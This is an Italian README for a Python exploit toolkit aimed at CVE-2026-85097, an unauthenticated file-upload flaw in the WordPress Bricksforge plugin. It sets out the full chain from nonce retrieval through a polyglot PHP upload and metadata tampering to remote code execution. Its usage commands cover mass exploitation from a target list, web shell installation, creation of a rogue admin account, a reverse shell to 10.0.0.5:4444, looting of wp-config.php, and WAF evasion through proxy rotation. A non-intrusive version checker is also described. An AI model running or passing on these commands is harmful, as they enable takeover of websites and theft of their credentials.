
Toolkit Python per CVE-2026-85097: sfrutta il caricamento di file non autenticato di Bricksforge su WordPress per ottenere RCE tramite payload poliglotti, oltre a uno scanner non intrusivo per il rilevamento della versione.

CVSS 10.0
Toolkit di exploit e scanner di rilevamento sicuro
Solo per test di sicurezza autorizzati.
CVE-2026-85097 è una vulnerabilità critica di caricamento arbitrario di file non autenticato nel plugin WordPress Bricksforge (versioni 3.1.8.9 e precedenti). Consente ad attaccanti remoti di aggirare la validazione MIME e caricare file PHP controllati dall'attaccante nella directory degli upload, con conseguente esecuzione remota di codice con l'utente del server web.
Recupero del nonce: L'azione AJAX bricksforge_regenerate_nonce è registrata con wp_ajax_nopriv_, consentendo ad attaccanti non autenticati di ottenere un nonce REST valido.
Caricamento poliglotta: L'endpoint REST form_file_upload convalida il tipo MIME del file caricato. Un file poliglotta (intestazione PNG/GIF valida seguita da codice PHP) supera questo controllo.
Fiducia nei metadati: Durante l'invio del modulo, il plugin si fida dei metadati forniti dal client nel parametro temporaryFileUploads. Il campo file punta al file poliglotta convalidato, mentre il campo url contiene il nome file scelto dall'attaccante (inclusa l'estensione .php).
Esecuzione PHP: Il sink copy() del plugin utilizza il valore url fornito dall'attaccante alla lettera come nome file di destinazione. Il file poliglotta viene rinominato in .php all'interno di wp-content/uploads/YYYY/MM/ ed eseguito all'accesso.
| Attributo | Valore |
|---|---|
| [>] Scoperta | Ottobre 2026 (Patchstack) |
| [>] Punteggio CVSS | 10.0 (CRITICO) |
| [>] CWE | CWE-434 (Caricamento senza restrizioni di file con tipo pericoloso) |
| [>] Plugin interessato | Bricksforge (modulo Pro Forms) |
| [>] Versioni interessate | 3.1.8.9 e precedenti |
| [>] Versione corretta | 3.1.8.10 |
| [>] Autenticazione | Non richiesta (pre-autenticazione) |
| [>] Sfruttamento attivo | Confermato in the wild (ottobre 2026) |
Il toolkit di exploit concatena il recupero del nonce, il caricamento poliglotta, la manipolazione dei metadati e l'esecuzione PHP in un unico flusso di lavoro automatizzato, con funzionalità avanzate per la scansione di massa, l'OPSEC e il post-sfruttamento.
| Funzionalità | Descrizione |
|---|---|
| [+] Catena di attacco completa | Recupero del nonce, upload poliglotta, invio del form, verifica della shell |
| [+] Payload poliglotti | Varianti con chunk tEXt PNG e con estensione commento GIF |
| [+] Scansione di massa | Scansione concorrente con thread pool |
| [+] Post-sfruttamento | Installazione di web shell, creazione di utente admin, reverse shell, esfiltrazione di file |
| [+] Esecuzione di comandi | Esecuzione di comandi arbitrari sulle shell confermate |
| [+] Rilevamento sicuro | Scanner separato non intrusivo (safechecker.py) |
| [+] Bypass WAF | Spoofing degli header, rotazione dello User-Agent, codifica delle estensioni |
| [+] Supporto proxy | Proxy SOCKS5, SOCKS4, HTTP con strategie di rotazione |
| [+] Molteplici formati di output | JSON, CSV, HTML, JSONL, SQLite |
| [+] Thread-safe | Utilizza meccanismi di locking per le operazioni concorrenti |
| [+] Rate limiting | Rate limiter globale con jitter e ritardo |
| [+] Cross-platform | Supporta Linux, macOS, BSD, WSL |
| Fase | Descrizione |
|---|---|
nonce | Recupera un nonce REST valido tramite l'azione AJAX non autenticata |
upload | Carica un PNG/GIF poliglotta che supera la validazione MIME |
submit | Invia il form con metadati che puntano al poliglotta e a un URL .php |
verify | Accede alla shell caricata e conferma l'esecuzione dei comandi |
exploit | Installa la web shell, crea un admin, attiva la reverse shell, esfiltra i file |
Il verificatore sicuro (safechecker.py) esegue il rilevamento non intrusivo delle vulnerabilità senza caricare payload, inviare form o modificare il target.
| Funzionalità | Descrizione |
|---|---|
| [+] Rilevamento WordPress | Identifica le istanze WordPress tramite molteplici pattern |
| [+] Rilevamento del plugin | Conferma la presenza di Bricksforge tramite HTML e file statici |
| [+] Rilevamento della versione | Rileva le versioni specifiche del plugin |
| [+] Verifica delle route REST | Enumera gli endpoint REST di Bricksforge esposti |
| [+] Sonda sull'endpoint nonce | Verifica opzionale dell'endpoint nonce (--probe-nonce) |
| [+] Verifica del log di debug | Ispeziona wp-content/debug.log alla ricerca di tracce del plugin |
| [+] Non intrusivo | Identifica solo le versioni vulnerabili e gli endpoint esposti |
| [+] Output JSON/CSV/SQL/JSONL | Esporta i risultati per il reporting |
| [+] Scansione di massa | Scansiona più target con supporto al threading |
pip (per la libreria requests)pip install requests urllib3
git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py
exploit.py)# Single target exploit
python3 exploit.py -u https://target.com --exploit
# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"
# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json
# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell
# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"
# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"
# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot
# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin
# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5